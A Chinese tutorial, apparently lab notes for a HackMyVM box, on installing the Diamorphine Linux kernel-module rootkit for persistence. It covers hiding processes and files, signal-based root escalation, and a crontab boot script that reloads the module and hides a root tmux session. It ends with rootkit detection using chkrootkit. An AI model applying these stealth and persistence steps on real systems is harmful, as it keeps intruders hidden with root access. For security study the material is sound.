在渗透测试中,在获取 root 权限后,为了防止用户修改密码等操作导致获取 root 权限的操作难以复现,攻击者通常会想办法实现持久化。
这里是使用 LKM Rootkit 进行持久化的方法,LKM 即 Linux Kernel Module,就是 Linux 中可动态加载的内核模块,它运行在内核态 Ring 0,通过加载内核模块形式的 Rootkit 可以实现持久化。
本文将以 Diamorphine 这个为例进行学习。

Rootkit 安装

下载项目:

1
git clone https://github.com/m0nad/Diamorphine

编译:

1
2
cd Diamorphine
make

加载模块:

1
insmod diamorphine.ko

模块安装成功后起初是隐藏的,可以向任意进程发送信号 63 使其可见

1
2
# 给所有进程发送 63 信号
kill -63 0

可以通过 lsmod 查看

1
lsmod | grep diamorphine

想要卸载的话,需要在取消模块隐藏后使用 rmmod 卸载

1
rmmod diamorphine

Diamorphine 使用

(1)隐藏进程

Diamorphine 可以通过向某个进程发送 31 号信号来隐藏/取消隐藏某个进程

1
kill -31 pid

举个常见的例子
使用 tmux 可以创建一个 root 会话,并置于后台,并且指定套接字文件为一个 . 开头的文件即可对套接字文件进行隐藏。

1
tmux -S /tmp/.hacked new-session -d

之后便可以通过 Diamorphine 将其隐藏

1
kill -31 365

隐藏之后用 ps aux 是查看不到进程的,可以更好地进行持久化

但是这样并不能实现每次开机都会有 tmux 会话,因此需要结合 crontab 定时任务

1
2
3
4
5
6
crontab -e
# 手动编辑,在文件末写入如下内容,便能实现每次开机或重启都执行设置好的脚本
@reboot /bin/sh /root/hacked.sh

# 或一行搞定
echo "@reboot /bin/sh /root/hacked.sh" | crontab -

脚本内容示例如下:

1
2
3
4
5
#!/bin/bash
/usr/sbin/insmod /root/Diamorphine/diamorphine.ko
tmux -S /tmp/.hacked new-session -d
chmod 777 /tmp/.hacked
kill -31 $(pgrep tmux)

但是需要注意的是,Diamorphine 对模块本身和进程的隐藏都是隐藏了查询时的目标记录,但并没有真正删除该目标,因此 /sys/module 还是能查看到 Diamorphine 模块,/proc 下面也还会有对应的进程文件。

(2)提权

加载该内核模块后,对任意进程发送 64 信号,会是当前用户成为 root

1
kill -64 0

(3)隐藏文件

任何以 MAGIC_PREFIX 开头的文件或目录都会被隐藏
这个是编译前可以自己设置的,默认为 diamorphine_secret

这个隐藏使用 ls 命令是看不见的,ls -al 也不可以,但是确实可以直接使用,find 等命令可以查找到

rootkit 检测

使用工具 chkrootkit 来检测 rootkit
安装

1
wget ftp://ftp.chkrootkit.org/pub/seg/pac/chkrootkit.tar.gz

解压缩

1
tar -zxf chkrootkit.tar.gz

编译

1
2
cd chkrootkit-0.59
make sense

执行

1
./chkrootkit

需要注意,该工具的运行需要 root 权限

参考

GitHub - m0nad/Diamorphine
HackMyVM | Hacked